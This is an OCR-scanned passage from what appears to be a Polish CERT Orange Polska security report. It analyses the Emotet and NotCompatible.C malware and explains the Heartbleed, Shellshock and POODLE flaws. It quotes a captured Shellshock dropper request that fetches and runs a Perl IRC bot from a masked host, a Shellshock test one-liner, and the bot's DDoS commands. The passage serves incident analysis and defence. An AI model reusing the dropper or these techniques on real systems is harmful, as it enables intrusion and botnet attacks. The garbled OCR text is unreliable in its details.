co podejscie do kradziezy danych finansowych. Zamiast
tradycyjnego modyfikowania kontentu wybranej strony
internetowej wykorzystuje przechwytywanie catej komuni-
kacji sieciowej z okreslonym bankiem niezaleznie od tego,
czy jest ona szyfrowana czy nie. Ponadto, w odrdznieniu
od wielu innych trojandw bankowych, stara sie unika¢ sys-
temu plikdw i zamiast niego korzysta z rejestru systemo-
wego (to rowniez, przynajmniej w zatozeniu, miato zmniej-
szy¢ stopien wykrywalnosci). Emotet mozna uzna¢ takze
za zagrozenie modutowe — pobierany modut moze zostaé
zmieniony na inny lub trojan bedzie w cyklu swojego zycia
pobierat wytgcznie jeden modut dodatkowy.

W styczniu 2015 roku wszystkie warianty Emoteta byty
wykrywane przez wigkszo$¢ silnikow antywirusowych.
By unikng¢ zagrozenia, nalezy pamieta¢ o zainstalowaniu
w systemie operacyjnym tego typu oprogramowania oraz
jego regularnej aktualizacji. Uzytkownicy powinni by¢ row-
niez ostrozni podczas korzystania z internetu, nie instalo-
wac aplikacji z niezaufanych zrodet ani nie klika¢ w podej-
rzane linki lub zatgczniki wiadomosci e-mail.

Rysunek 36.

Przechwycone dane zapisywane
sg w zakodowanej formie

w rejestrze systemowym



Rysunek 39.
Malware widoczny w wykazie

uruchomionych aplikacji

Rysunek 37.

Zrzut pokazujgcy uruchomiony
plik instalacyjny ze ztosliwym
oprogramowaniem

Rysunek 38.

Wykaz proceséw uruchomionych
w Srodowisku wirtualnym

z systemem Android, w tym
ztosliwy kod

Pierwszy raz malware o nazwie NotCompatible zostat
wykryty w 2012 roku.

Na poczatku kod uzywany byt jako serwer proxy do kam-
panii spamowych. Do dzisiaj znacznie sie rozrést, tworzac
ogromny botnet, zdolny m.in. do spamowania uzytkowni-
kéw albo przeprowadzania zautomatyzowanych atakéw,
np. na WordPress.

Wykorzystujgc NotCompatible jako proxy, atakujgcy moze
wykona¢ wiele czynnosci, w tym poszukiwanie wrazli-
wych hostoéw w sieci, znajdowanie luk w zabezpiecze-
niach i narazonych wrazliwych danych. Szacuje sig, ze
w samych Stanach Zjednoczonych liczba infekcji moze
siegac 4,5 miliona zainfekowanych maszyn. Zasieg infekcji
tego wirusa to ok. 20 000 maszyn dziennie; kanatem pro-
pagacji jest spam.

Mozna sie spotka¢ ze sprzecznymi informacjami na temat
funkcjonalnosci tego malware’u. Jedne zrédta wskazujg,
ze zainfekowany telefon stuzy do wtamania sie do prywat-
nych sieci komputerowych. Inne zas, ze gtdéwng funkcjo-
nalnoscig jest tworzenie botnetu. Rozbieznosci nie dziwig,
gdyz analizowana probka wykonuje oba zadania. Jesli zto-
Sliwe oprogramowanie zaatakuje urzadzenie nalezgce do
organizacji, moze sie rowniez dosta¢ do srodowiska kor-
poracyjnego.

Najnowsza przeanalizowana przez CERT Orange Pol-
ska mutacja kodu, NotCompatible.C, zostata wykryta
w zeszlym roku. Wykazywanie jednoczesnie obu gtéwnych
funkcjonalnosci utrudnito poczatkowo jego analize. Osta-
tecznie jednak eksperci CERT Orange Polska przepro-
wadzili analize laboratoryjng kodu — zaréwno statyczng, jak
i dynamiczna.

Malware rozpowszechniany jest poprzez atak ,drive-by
download”, wykorzystujgcy podatno$¢ przegladarki na
platformie Android. Schemat ataku jest nastepujacy:
uzytkownik odwiedza zainfekowang witryne, na ktoérej
znajduje sie ztosliwy skrypt,
skrypt automatycznie pobiera plik,
by uruchomi¢ ztosliwy kod uzytkownik akceptuje insta-
lacje ztosliwej aplikacii.

Po instalacji wirus uruchamiany jest dopiero przy nastep-
nym i kazdym kolejnym restarcie telefonu. Pierwszy raz
w histori atak ,drive-by download” zostat wycelowany
w urzadzenia z systemem Android.

Rysunek 37-38.

Jak wida¢, uruchomiony malware utworzyt proces
0 hazwie com.security.patch. Mozna to sprawdzi¢ z pozio-
mu wigczonego telefonu w zaktadce pokazujgcej wykaz
uruchomionych aplikacji oraz proceséw w telefonie z sys-
temem Android.

Zainfekowany telefon wtasciciela moze rowniez wykazy-
wac wyzsze niz zwykle zuzycie transferu danych i energii.

Zalecamy sprawdzenie, czy w telefonie nie jest urucho-
miony proces o nazwie podobnej jak ,com.security.patch”,
dziatajacy jako ustuga, ktérej nie wida¢ w menu telefonu.
Rekomendujemy, aby uzytkownicy nie instalowali aplikacii
Z niepotwierdzonego zrddta ani nie instalowali aplikacii, jesli
nie pamietajg, czy byta ona pobierana na telefon. Nalezy
réwniez wigczy¢ w telefonie funkcje blokowania instalacii
aplikacji z niezaufanych zrodet.

Nazwa pliku z trojanem: Update.apk

Suma kontrolna MD5: feace958b47c¢2249c6ab8ddf-
804cdch6

Wielkos¢ w bajtach: 64808

Analizowana prébka przeznaczona jest jedynie na urzg-
dzenia mobilne z platformg Android. Po zdebugowaniu
pliku Update.apk w jego plikach zrédtowych (konkretnie:
AndroidManifest.xml) wida¢, do jakich zasobdw odwotuje
sie malware:

— pozwala aplikacji na
otwarcie gniazd sieciowych,

— pozwala aplikacji na dostep do informaciji o sieci,

— pozwala na otrzymanie przez malware informaciji

0 zakonczeniu uruchamiania systemu oraz o zakresie

wersji $rodowiska, w ktérym bedzie ona dziata¢ od

minSdkVersion="7" do targetSdkVersion="17".
Rysunek 40.

Malware ma zaimplementowang wzglednie duzg liczbe
funkcji, ktére zapewniaja mu bezproblemowe dziatanie
w kazdej sieci. Ma migdzy innymi:
wzajemne uwierzytelnianie sie za pomoca klucza RSA
i RC4,
wsparcie protokotéw UDP i TCP,
komunikacje p2p pomiedzy zainfekowanymi telefonami,
wiele serwerdow Command&Control rozmieszczonych
w réznych lokalizacjach.



Rysunek 40.
Manifest analizowanego malware

Rysunek 41.
Komunikacja z serwerem C&C

Rysunek 42.
Metoda ,loadKey()” klasy RSA

Rysunek 43.
Zawartosc pliku public.xml

Rysunek 44.
Zawartosc¢ klasy config oraz
metody ,Load()”

Malware instaluje sie w lokalizacji /data/data/com.security.
patch/.

Trojan wykorzystuje dos¢ ztozong dwupoziomowag tech-
nike komunikacji pomiedzy zainfekowang maszyng a ser-
werami Command&Control. Pierwsza czes¢ sktada sie
z serwera Command&Control petnigcego role bramy wej-
Sciowej weryfikujacej jedynie komunikacje zainfekowanego
telefonu z serwerem.

Ma réwniez funkcje ,loadbalancera”, ktéry rozktada ruch
zainfekowanych telefonow.

Na poprzedniej stronie zostat przedstawiony schemat
komunikacji pomiedzy zainfekowanym telefonema serwe-
rami Command&Control. Linie przerywane oznaczajg pota-
czenie szyfrowane.

Rysunek 41.

Wymiana danych miedzy serwerem Command&Con-
trol a telefonem odbywa sie za pomocg wymiany klucza
publicznego RSA, ktéry zapisany jest w pliku ,,pub”, dotg-
czonym do malware.
Na poprzednigj stronie zostat przedstawiony kod, ktory
przedstawia metode ,loadKey()” klasy RSA po dekompi-
lacji kodu malware.

Rysunek 42.
W pliku ,public.xml” umieszczona jest wartos¢ ID dla zaso-
bu o ID 0x7f030001, co po zamianie na system dziesigtny
daje nam liczbe 2130903041, ktérg wykorzystuje metoda
loadkey w powyzszym kodzie.

Rysunek 43.

Oproécz algorytmu RSA malware wykorzystuje algorytm
RC4, ktéry stuzy mu do szyfrowania i deszyfrowania
danych wymienianych z serwerem Command&Control.
W pliku ,public.xml” umieszczona jest rowniez warto$¢

dla zasobu o id 0x7f030000, co po zamianie na system
dziesietny daje nam liczbe 2130903040, ktdrg wykorzystu-
je metoda ,Load()” klasy ,config” do identyfikacji zasobu,
podobnie jak klucz RSA.

Rysunek 44.

Schemat dziatania wymiany kluczy RSA i RC4 w komuni-

kacji krok po kroku:

1. Zainfekowany telefon pobiera klucz publiczny RSA
z pliku ,pub”.

2. Zainfekowany telefon generuje swoja pare kluczy RSA:
klucz prywatny i klucz publiczny.

3. Zainfekowany telefon wysyta klucz publiczny wygene-
rowany w punkcie 2 do serwera Command&Control.

4. Po odebraniu klucza publicznego z zainfekowanego
telefonu Command&Control generuje klucz RC4, szy-
fruje go kluczem publicznym przestanym przez mal-
ware, a nastepnie wysyta go do telefonu. Telefon po
odebraniu zaszyfrowanego klucza RC4 odszyfrowuje
go swoim kluczem prywatnym.

5. Od tego momentu cata komunikacja bedzie szyfrowa-
na algorytmem RC4 z kluczem symetrycznym wymie-
nionym wczedniej w punkcie 4. Dalsza komunikacja
jest szyfrowana.

Co wiecej, gdy wszystkie serwery Command&Control sa
zablokowane, malware odpytuje przez protokét P2P inne
zainfekowane urzgdzenie o najnowszy plik konfiguracyjny
od gtéwnego serwera, by sie dowiedzie¢ o docelowy adres
serwera Command&Control. Taka funkcjonalnos¢ umozli-
wia wykonywanie potgczen w sposob niezauwazony przez
zainfekowanego. Na nastepnej stronie zostat przedstawio-
ny schemat komunikacji pomiedzy dwoma zainfekowany-
mi telefonami az poprzez wykorzystanie P2P w chwili, gdy
adresy serwerow Command&Control sg blokowane.
Rysunek 45.



Rysunek 45.
Komunikacja miedzy telefonami

Rysunek 46.

Komunikacja zainfekowanego
telefonu z serwerem
Command&Control

Rysunek 47.

Zawartos¢ metody ,init()”
inicjalizacyjnej dla klasy

. ThreadServer”, ktéra jest
odpowiedzialna za tworzenie
wszystkich mechanizméw
szyfrowania i zestawiania potgczeri

Rysunek 48.
Komunikacja z serwerami C&C

Kod jest ciekawy z tego powodu, ze szyfruje cate potg-
czenie miedzy klientem a serwerem Command&Control.
Mamy wiec do czynienia z pierwszym malware posiada-
jacym dwustopniowy proces przekazywania skradzionych
danych. Pierwszy serwer Command&Control spetnia funk-
cje bramy weryfikujgcej, czy potgczenie przychodzi od wia-
Sciwego zainfekowanego telefonu, po czym ruch jest roz-
ktadany i przepuszczany do gtbwnego Command&Control,
przekazujac informacje o adresie gtdbwnego Command&-
Control.

Zestawienie potgczen na poprzedniej stronie przedstawia
komunikacje pomiedzy pierwszym serwerem Commandé&-
Control a zainfekowanym telefonem.

Rysunek 46.

Malware pobiera adres IP ze swojego pliku konfiguracyj-
nego znajdujgcego sie na telefonie w lokalizaciji /data/data/
com.security.patch/files/data.bin.

Plik szyfrowany jest algorytmem RC4. Do jego zdekodo-
wania podczas analizy statycznej uzyty zostat nieco zmo-
dyfikowany mechanizm odnaleziony w zrédtach malware.
Po zdekodowaniu pliku data.bin mozna uzyskac¢ informa-
cje o adresie IP, z jakim sie tgczy zainfekowany telefon — to
173.242.124.163 na porcie 443.

Trojan wykonuije réwniez operacie po stronie telefonu. Uru-
chamiajgc sie, odwotuje sie do klas ThreadServer.
android.permission. ACCESS_NETWORK_STATE
method call: ,Lcom/security/patch/ThreadServer/getin-
net()Z” calls
»Landroid/net/ConnectivityManager/getActiveNetworkin-
fo()Landroid/net/Networkinfo;”

Rysunek 47.

Gdy dany adres IP Command&Controll jest blokowany,
malware wykorzystuje funkcjonalnos¢ p2p, pobierajgc naj-
nowszy plik konfiguracyjny od zainfekowanego wczesniej
telefonu. Funkcja ma na celu ominigcie blokowania komu-
nikacji na poziomie IP oraz DNS.
Takie dziatanie ma przewaznie na celu ukrycie ztosliwej
aktywnosci wirusa podczas komunikacji z Command&-
Control, by sondy antymalware nie mogty odrozrézni¢
poprawnego ruchu sieciowego od ztosliwego ruchu pomie-
dzy zainfekowanym maszynami a Command&Control.
Opisywane w poprzednim akapicie systemy do detekciji
ruchu nie potrafig zdefiniowac¢ ztosliwego ruchu, gdy jest
on szyfrowany miedzy klientem a serwerem z wykorzysta-
niem pary kluczy oraz algorytméw RSA i RC4.
Podczas analizy dynamicznej przechwycono potgczenia
na adres IP 173.242.124.163 na porcie 443 do pierwsze-
go Command&Control. Domena, z jakg ustanawia pota-
czenie, to dedispace.com.
Na poprzedniegj stronie przedstawiona zostata komunikacja
telefonu, ktoéry jest juz zainfekowany i faczy sie z wieloma
alternatywnymi serwerami Command&Control znajdujgcy-
mi sie w Wielkiej Brytanii.

Rysunek 48.

Malware NotCompatible.C, jak wynika z analizy, wyznacza
nowe trendy w technikach atakéw na urzgdzenia mobilne.
Jest nie tylko zagrozeniem dla potencjalnych uzytkowni-
kéw, lecz takze dotyka sektora korporacyjnego.

Tym bardziej istotne staje sie rygorystyczne przestrzega-
nie zasady nieinstalowania aplikacji z niezaufanych zrédet
lub aplikacji, ktérych uzytkownik sam nie Sciggnat na swoj
telefon.



Luka Heartbleed zostata przypadkowo wprowadzona do
pakietu OpenSSL w grudniu 2011 roku w ramach realiza-
cji rozszerzenia TLS proponowanego przez standard RFC
6520, natomiast informacje o jej odkryciu opublikowano
w kwietniu 2014 roku. Pozwala ona na odczytanie duzych
fragmentow pamieci (jednorazowo maksymalnie 64KB)
z procesu podatnego programu, co w konsekwenciji
umozliwia wyciek wielu poufnych informaciji, w tym przede
wszystkim prywatnego klucza uzytkownika/serwera apli-
kacji, dzieki ktéremu atakujgcy jest w stanie odszyfrowac
tre$¢ przechwyconej komunikacji, wstawia¢ do jego kana-
fu komunikacyjnego wiasng tres¢ (atak Man in The Middle)
oraz postugiwac sie jego certyfikatem. Mozliwe jest zatem
np. Sledzenie i rejestrowanie interakgcji z ustugami WWW
(np. dziatan w aplikacji pocztowej), a w efekcie przechwy-
cenie danych uwierzytelniajgcych (m.in. bankowosci inter-
netowej, co moze sie sta¢ punktem wyjécia do kradziezy
danych lub srodkdéw z kont bankowych).

Podatna biblioteka jest niezwykle popularna — w chwili
opublikowania informacji o luce podatnych byto okoto pét
miliona dziatajgcych w sieci serwerow WWW. Sytuacije
dodatkowo pogarszat fakt, ze atakujgcy podatng ustuge
w przecietnej sieci ustugowej nie zostawiat po ataku prak-
tycznie zadnego $ladu. Z tego powodu samo oszacowanie
liczby atakéw (w tym zakonczonych sukcesem) oraz po-

niesionych w zwigzku z nimi strat jest trudne. Amerykan-
skie repozytorium National Vulnerability Database nadato
luce Heartbleed najwyzszg ocene (10), jesli chodzi o fa-
twos¢ wykorzystania (exploitability subscore).

Wprowadzenie mechanizmu Heartbeat miatlo na celu
umozliwienie stronom sesji SSL sprawdzenie, czy druga
strona wcigz poprawnie odbiera i nadaje wiadomosci,
oraz odséwiezenie wpiséw dotyczgcych stanu potgczenia
w tabelach NAT'®. W tym celu wysyla zgdanie Heartbeat,
w ktérym zawarta jest pewna liczba bajtéw danych. We-
zet po drugiej stronie powinien odebra¢ dane i odestac je
w identycznej postaci do nadawcy. Luka bezpieczenstwa
wystepuje przy przetwarzaniu opisanego ponizej ztosliwe-
go zadania.

Z3danie oraz odpowiedz powinny zostaé zawarte w ramce
0 nastepujgcej strukturze:
struct {

HeartbeatMessageType type;

uintl6 payload length;

opaque payload[HeartbeatMessage.payload
length];

opaque padding[padding length];

} HeartbeatMessage;

Rysunek 49.
Zapis transmisji przeprowadzonego
ataku

'6 Technologia podwyzszonej ochrony wprowadzona w Windows Vista/Windows 7, w zatozeniu ograniczajaca dostep aplikacji momentu autoryzaciji przez administratora

W powyzszej strukturze pole ,type” ma dtugos¢ 1 bajta
i moze mie¢ wartos¢ heartbeat_request (0x01) lub heart-
beat_response (0x02), pole payload_length ma dtugosc
2 bajtéw, pole payload powinno mie¢ zadeklarowang
w payload_length dtugos¢, a pole padding ma diugosé
wyznaczang w trakcie budowania ramki.

Bardzo wazng czescia struktury jest pole payload_length,
ktére z zatozenia powinno zawiera¢ liczbe bajtéw danych
wystanych w zgdaniu. Jednak w podatnej wersji OpenSSL
wartos¢ ta nie jest w zaden sposéb weryfikowana, tj. od-
biorca wierzy, ze pakiet rzeczywiscie zawiera zadeklarowa-
ng liczbe bajtéw. Tymczasem atakujgcy moze w zgdaniu
zawrze¢ na przyktad jeden bajt danych, deklarujgc mak-
symalng mozliwg dtugos¢ tego pola, czyli 65535 bajtow.
W trakcie przetwarzania atakowana strona konstruuje pa-
kiet, do ktérego kopiuje 65535 bajtow, ktore znajdujg sie
daleko poza buforem zawierajgcym oryginalny jeden bajt.
W ten sposob atakujgcy moze uzyskac¢ dostep do nieprze-
znaczonych dla niego informaciji, a czesto wsréd nich —
klucza prywatnego.

Przykladowy zapis transmisji z przeprowadzonego ataku
przedstawiono na poprzedniej stronie.
Rysunek 49.

Pierwszy wiersz z wartosciami heksadecymalnymi (pod-
Swietlony na czerwono) to pakiet wystany przez atakujgce-
go. Czesci pakietu zaznaczone na zielono to czesci struk-

tury SSL3_RECORD, ktéra opakowuje ramki Heartbeat
i zawiera informacje o typie ramki (0x18 — heartbeat) wer-
sji protokotu (0x03, Ox1), dugosci opakowanych danych
(Ox0003). Natomiast na zotto zaznaczone zostaty czesci
wiadomosci Heartbeat — typ wiadomosci (Ox1 — zgdanie)
oraz deklarowana dtugos¢ (0x4000 — 16384 baijty).

Drugi wiersz (podswietlony na niebiesko) to pakiet zawie-
rajgcy odpowiedz ofiary — czyli 16384 bajty danych, ktére
wyciekly.

Administratorzy serwerdw, wykorzystujacy oprogramowa-
nie OpenSSL, powinni zweryfikowac, czy korzystajg z ak-
tualnej niepodatnej wersiji (wersje gatezi 1.0.0, 0.9.8 lub od
wersji 1.0.1g wzwyz w gatezi 1.0.1). Jesli przeprowadzenie
aktualizacji nie jest mozliwe, nalezy zastosowac oprogra-
mowanie typu IDS lub WAF, ktére odpowiednio skonfigu-
rowane skutecznie blokujg proby wykorzystania luki Hear-
tbleed.

Jako reakcja na podatnosci w oprogramowaniu OpenSSL
powstaly ich tzw. forki, czyli oddzielne projekty kontynuuja-
ce rozwdj projektow oryginalnych od pewnego momentu,
lecz ze zmienionymi zatozeniami lub podejsciem. Wsréd
nich najwazniejsze to LibreSSL rozwijany przez dewelo-
perow systemu OpenBSD (ktorzy krytycznie odniesli sie
do projektu OpenSSL) oraz BoringSSL rozwijany przez
Google, ktére zapowiedzialo wspodtprace w tym zakresie
z deweloperami pozostatych projektow.



Podatno$¢ Shellshock zostata upubliczniona 24 wrze-
$nia 2014 roku i jest juz dos¢ dokfadnie opisana. Pokrot-
ce mozna podsumowac jg w nastepujgcy sposob: czesé
programu bash, czyli popularnej powtoki systeméw ope-
racyjnych, przeprowadza wykonanie tresci, ktéra powinna
zostac zinterpretowana jako dane. Opisywana luka pozwa-
la na przekazanie do programu takiej tresci za posrednic-
twem zmiennych srodowiskowych.

Czynnikiem, ktéry decyduje o tym, ze Shellshock jest jed-
ng z najbardziej niebezpiecznych luk zaobserwowanych od
lat, jest fakt, iz podatna powtoka jest bardzo popularna.
Powtoka bash jest ulubiong powtokg wielu administrato-
réw systemowych i bardzo czesto zostaje wybrana jako
domysina powtoka dystrybucji systeméw klasy Linux/
Unix. Jej popularnosé znacznie przewyzsza alternatywne
programy: dash, zsh etc. Dodatkowo, wiele programéw
wchodzi w interakcje z systemem operacyjnym wiasnie
za posrednictwem domysinej powtoki przy wykorzystaniu
wywotania ,system”, np.:

moduty obstugujace skrypty CGl w serwerach WWW,

interfejsy  WWW wielu platform technologicznych

i urzadzen,

popularne programy do przesytania plikéw i uzyskiwa-

nia zdalnego dostepu do powtoki.

Wsrdd programow korzystajacych z systemowej powtoki,
wiec zagrozonych atakiem wykorzystujgcym omawiang
podatnos¢, znajdowaly sie sie m.in.:

modut do serwera Apache - mod_cgi,

aplikacja cPanel,

produkty firmy F5, m.in. BIG-IP,

dhcpcd,

SSH,

Postfix,
Pure-FTPd,
OpenVPN.

Obecnie do luki Shellshock i luk z nig powigzanych (np.
opartych na podobnym btedzie lub powstatych w wyniku
btedu w poprawce) przypisano nastepujgce identyfikatory
podatnosci w bazie CVE:

CVE-2014-6271

CVE-2014-7169

CVE-2014-7186

CVE-2014-7187

CVE-2014-6278

CVE-2014-6277

Juz pod koniec wrzesnia udostepniono patche tatajgce
podatne wersje bash. Ich zastosowanie chroni przed ata-
kami na wszystkie programy korzystajgce z tej powtoki.

W celu sprawdzenia, ktére programy korzystajg z powtoki
bash, najlepiej przejrze¢ pliki wykonywalne w poszukiwa-
niu tych, ktére importujg wywotanie ,system”. Tablice funk-
Cji importowanych przez programy w formacie ELF mozna
uzyskac, korzystajgc z narzedzi objdump lub readelf, np.:
locations="/bin /sbin”
for loc in locations; do find $loc -type
f -executable; done | while read ff;
do echo $loc$ff; objdump -T S$locS$Sff |

grep system; done

W celu sprawdzenia, czy uzywana wersja powtoki bash

jest podatna, mozna postuzy¢ sie ponizszym skryptem:
env X="() { :; }; echo ,Bash zawiera
luke CVE-2014-6271"" bash -c id

Rysunek 50.
Kod odpowiedzialny za
przytgczenie do kanatu C&C

Jesli po wywotaniu skryptu wyswietla sie tres¢ ,Bash
zawiera luke CVE-2014-6271”, to znaczy, ze w uzyciu jest
podatna wersja programu i nalezy jg aktualizowac.

Czes¢ internautdéw zapewne pamieta epidemie robakdow:
Sasser, wykorzystujgcego luke CVE-2003-0533, odpowie-
dzialnego za straty oszacowane na 18 miliardéw dolaréw,
oraz Blaster (CVE-2003-0352, 320 min dol.). Echa tych
epidemii mozna obserwowaé do dzisiaj pomimo wytezo-
nych wysitkdw majgcych na celu zniwelowanie ich skut-
kéw (np. blokowania na poziomie ISP portdw, na ktérych
dziatajg podatne ustugi). W opinii ekspertow CERT Orange
Polska istnieje duze ryzyko, ze Shellshock doprowadzi do
podobnej epidemii wsrdd systemdw dziatajgcych pod kon-
trolg systemow Linux i Unix.

Luka Shellshock ma cechy czynigce jg idealnym mecha-
nizmmem dostarczania odpowiednikdéw takich robakéw do
systeméw korzystajgcych z bash. Najwazniejsze z nich to:

Robak, ktéry skanuje sie¢ internet w poszukiwaniu
podatnych ustug, potrzebuje bardzo niewiele cza-
su i zasobodw, by zainfekowac¢ kolejng maszyne. Po
nawigzaniu sesji w warstwie transportowej po prostu
wysyta na oslep szkodliwy tadunek (exploit) i natych-
miast przechodzi do infekowania kolejnej maszyny.
Wystany tadunek, jesli trafi na podatng aplikacje, uzy-
skuje bezposredni dostep do powtoki zainfekowanego
systemu. Jest to bardzo duzy stosunek destrukcyjne-

go potencjatu (potencjatu propagaciji) do jego kosztu.

Funkcjonalny exploit'” mozna napisa¢ w dwdch, trzech
linijkach jezyka bash. Nie trzeba omija¢ zabezpieczen
stosu, radzi¢ sobie z nowoczesnymi zabezpieczenia-
mi przed exploitami ani z eskalacjg uprawnien. Nawet
$rednio doswiadczony programista moze skutecznie
uderzy¢ w samo serce systemu teleinformatycznego.

Trudno precyzyjnie oszacowac¢ liczbe aplikacji sto-
sujgcych wywotanie ,system”, ktére mogg korzysta¢
z podatnej wersji bash, ale wiadomo, ze jest ich duzo
i ze sg roznorodne. Zwigksza to diametralnie liczbe

mozliwych do wykorzystania wektorow ataku. Moze
to by¢ zaréwno ztodliwe zgadanie HTTP wykonane
z drugiego konca s$wiata, jak i ztosliwe odpowiedzi
serwera DHCP umieszczonego w sieci lokalnej badz
tez ostatnio zaobserwowane préby atakéw poprzez
SMTP. Ponadto niektore z tych ustug sg niemozliwe do
blokowania lub filtrowania z uwagi na duzy wolumen
prawidtowego ruchu na odpowiadajgcych im portach.

Zespot CERT Orange Polska zaobserwowat réwniez kilka
dziatajgcych dropperéw'® wykorzystywanych m.in. do two-
rzenia botnetu przeznaczonego do wykonywania atakéw
DDoS. Ponizej przedstawiono jeden z nich:

,GET /cgi-bin/hi HTTP/1.0” 404 402 ,-" () { ::}; /bin/bash
-¢c \"cd /tmp;wget http://xxx.xxx.193.10/ji;curl -O ,/tmp/ji
http://xxx.xxx.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\”

Exploit przedstawiony na poprzedniej stronie ma za zada-
nie zainstalowa¢ w zaatakowanym systemie inny ztosliwy
program (w tym przypadku IRC-bot napisany w jezyku
Perl). Jego kod jest relatywnie zrozumiaty, napisany w jezy-
ku zblizonym do ludzkiego i nie istnieje potrzeba prze-
prowadzania zaawansowanej inzynierii wstecznej. Bot po
uruchomieniu stara sie podtgczy¢ do kanatu C&C (serwera
IRC), a nastepnie czeka na rozkazy i je wykonuije.
Rysunek 50.

Wsrdd obstugiwanych przez bota rozkazéw znajduijg sie:

— skanowanie wybranego komputera w celu
odkrycia niektérych popularnych ustug (telnet, SSH,
FTP, WWW etc.),

— przeprowadzenie ataku DDOS na wybrany
cel za posrednictwem protokotu TCP,

— skanowanie w poszukiwaniu podatnych apli-
kacji WWW oraz infekowanie ich,

— przeprowadzenie ataku DDOS na warstwe
aplikacji na wybrany cel za posrednictwem protokotu
HTTPR,

— przeprowadzenie ataku DDOS na wybrany
cel za posrednictwem protokotu UDP.

Rysunek 511.

Rysunek 51.
Kod obstugujgcy rozkazy

7 Program wykorzystujacy btad wystepujacy w oprogramowaniu, prowadzacy do przejecia kontroli nad dziataniem procesu i wykonaniem odpowiednio spreparowanego kodu

'8 Program instalujacy zfosliwy kod na komputerze ofiary
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Bot obstuguje rowniez polecenia wykorzystywane na ser-
werach IRC takich jak: connect, join, part, op, msg. Dodat-
kowo za pomocg polecenia ,eval” pozwala na wykonanie
dowolnej przestanej przez botmastera komendy.

>> Rysunek 52.

W wybranych segmentach sieci Orange zaobserwowa-

lismy proby wykorzystania luki shellshock kierowane na

porty serweréw WWW. Na Wykresie 22. przedstawiono

zestawienia zaobserwowanych zgdan w poszczegdlnych

miesigcach na prébce z ostatniego kwartatu 2014 roku.
>> Wykres 22.

Zgdania zawieraty gtéwnie odwotania do zasobéw stano-
wigcych skrypty cgi, ale mozna zaobserwowacé rowniez
proby przetamania zabezpieczenh mechanizméw Server
Side Include (dynamicznie generujgcy strony WWW
mechanizm skryptowy).

>> Wykres 23.

Wsrdd zrédet zadan prym wiodag systemy znajdujgce sie
na terenie USA. Nie oznacza to, ze atakujgcy prowadza
sSwoje operacje z tego rejonu. Mozliwe, ze tak duzy odse-
tek zadan jest wynikiem duzej liczby zainfekowanych sys-

i korzystania jedynie z aktualnych wersji oprogramowania

nalezy pamieta¢ o strategii zabezpieczania infrastruktury

zawierajgcej elementy wielowarstwowej obrony, a takze

minimalizacji powierzchni ataku.

* Nie nalezy udostgpnia¢ ustug, ktére nie sg wymagane
do dziatania infrastruktury.

° Nalezy wprowadza¢ segmenty o zréznicowanym
poziomie ryzyka, ktore sg od siebie odseparowane
i uniemozliwiajg lub utrudniajg eskalowanie ztosliwego
oprogramowania na inne systemy (np. segment DMZ).

* Prowadzi¢ kontrole i dziatania majagce na celu minima-
lizacje powierzchni ataku, na przyktad wytaczajac lub
odcinajgc dostep do niepotrzebnych ustug.

Najwazniejsza rzeczg, ktérg powinni wykona¢ admini-
stratorzy systeméw Linux, Unix, MacOS X oraz innych
korzystajgcych z programu bash, jest upewnienie sig, ze
zainstalowana zostata najnowsza dostgpna odporna wer-
sja programu, a jesli tak nie jest — niezwtoczne wykonanie
aktualizacii.

Jesli wykonanie aktualizacji jest niemozliwe lub utrudnione,
nalezy zastosowa¢ tymczasowe sSrodki zapobiegawcze,
takie jak ograniczenie dostepu do ustug lub filtrowanie
tresci z wykorzystaniem sygnatur. Przyktadowe metody

Ol e o . momm — | . — Freg——
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Rysunek 583.
Tux jawny

Rysunek 54.
Tux zaszyfrowany ECB

Rysunek 55.
Tux zaszyfrowany CBC

Secure Socket Layer (SSL) to stworzony przez Netscape
w 1994 roku protokdt zabezpieczania transmisji siecio-
wych. Jego pierwsze wersje zawieraly wiele stabosci i luk
bezpieczenstwa, dlatego dos¢ szybko dokonano przegla-
du protokotu, by w 1996 roku opublikowac¢ go w wersji 3.0.
Od tego czasu SSL wyewoluowat w kolejne wersje proto-
kotu TLS, jednak wiele programdw i urzgdzen w sieci inter-
net nadal ich nie obstuguje, stgd w nowych protokotach
istniejg mechanizmy zapewniajgce wsteczng kompatybil-
nose.

14 pazdziernika 2014 roku cztonkowie zespotu Google
Security Team opublikowali informacje o odkrytej w pro-
tokole SSLv3 luce ,Poodle”. Luka dotyczy nie konkretnej
implementacji SSL, ale catego protokotu. Z tego powo-
du wszystkie wspierajgce go implementacje sg podatne
na ataki. W wyniku ataku na omawiang luke mozliwe jest
odzyskanie czesci tekstu jawnego transmisiji.
Przygotowanie do wykorzystania Iuki polega na przejeciu
przez atakujgcego i takim zmodyfikowaniu transmisji sie-
ciowej, zeby zmusi¢ strony transmisji do wybrania kon-
kretnej wersji protokotu podatnej na atak (tzw. downgra-
de dance). Dzigje sie to na etapie uzgadniania wspdlnego
zestawu szyfrujgcego, jeszcze przed zestawieniem bez-
piecznego potgczenia.

Do przeprowadzenia demonstracyjnego ataku wykorzy-

stano nastepujgce cechy protokotu SSL:
Wiekszos¢ algorytmow szyfrujgcych uzywanych przez
SSL to algorytmy blokowe, dziatajgce w trybie wigzania
blokéw (ang. Cipher-Block Chaining, CBC). Tryb ten
powinien zwigksza¢ bezpieczenstwo algorytmu dzieki
kryptograficznemu powigzaniu wszystkich blokow szy-
frogramu. W innym przypadku (gdyby algorytm dziatat
w trybie Electronic Code Book, ECB), takim samym
blokom tekstu jawnego zawsze odpowiadatyby takie

same bloki szyfrogramu. Aby temu zapobiec, algorytm
szyfrujgcy przy tworzeniu szyfrogramu poddaje kolej-
ne bloki tekstu jawnego dziataniu operacji XOR przy
uzyciu poprzedniego szyfrogramu. Dzieki temu dwom
identycznym blokom tekstu jawnego w pojedynczej
transmisji odpowiadajg dwa rézne bloki tekstu szyfro-
wanego.

Aby wyobrazi¢ sobie, w jaki sposéb wigzanie blokéw
(CBC) wptywa na bezpieczenstwo komunikacji, mozna sie
oprze¢ na ilustracjach przedstawiajgcych maskotke syste-
mu Linux, sympatycznego pingwina Tuxa, w trzech posta-
ciach: jawnej, zaszyfrowanej w trybie EBC i w trybie CBC
(obrazki pochodzg z Wikipedia.com).

Rysunki 53-55.

Algorytmy w podatnych zestawach wyznaczajg war-
tos¢ tzw. funkcji MAC (ang. Message Authentication
Code) jedynie na czesci tekstu jawnego, zupetnie
ignorujgc tzw. uzupetnienie, czyli dotgczane na koncu
tekstu jawnego nieznaczace dane majgce za zadanie
zaokragli¢ jego dtugos¢ do wielokrotnosci szerokosci
bloku. Dtugo$¢ uzupetienia pomniejszona o 1 jest
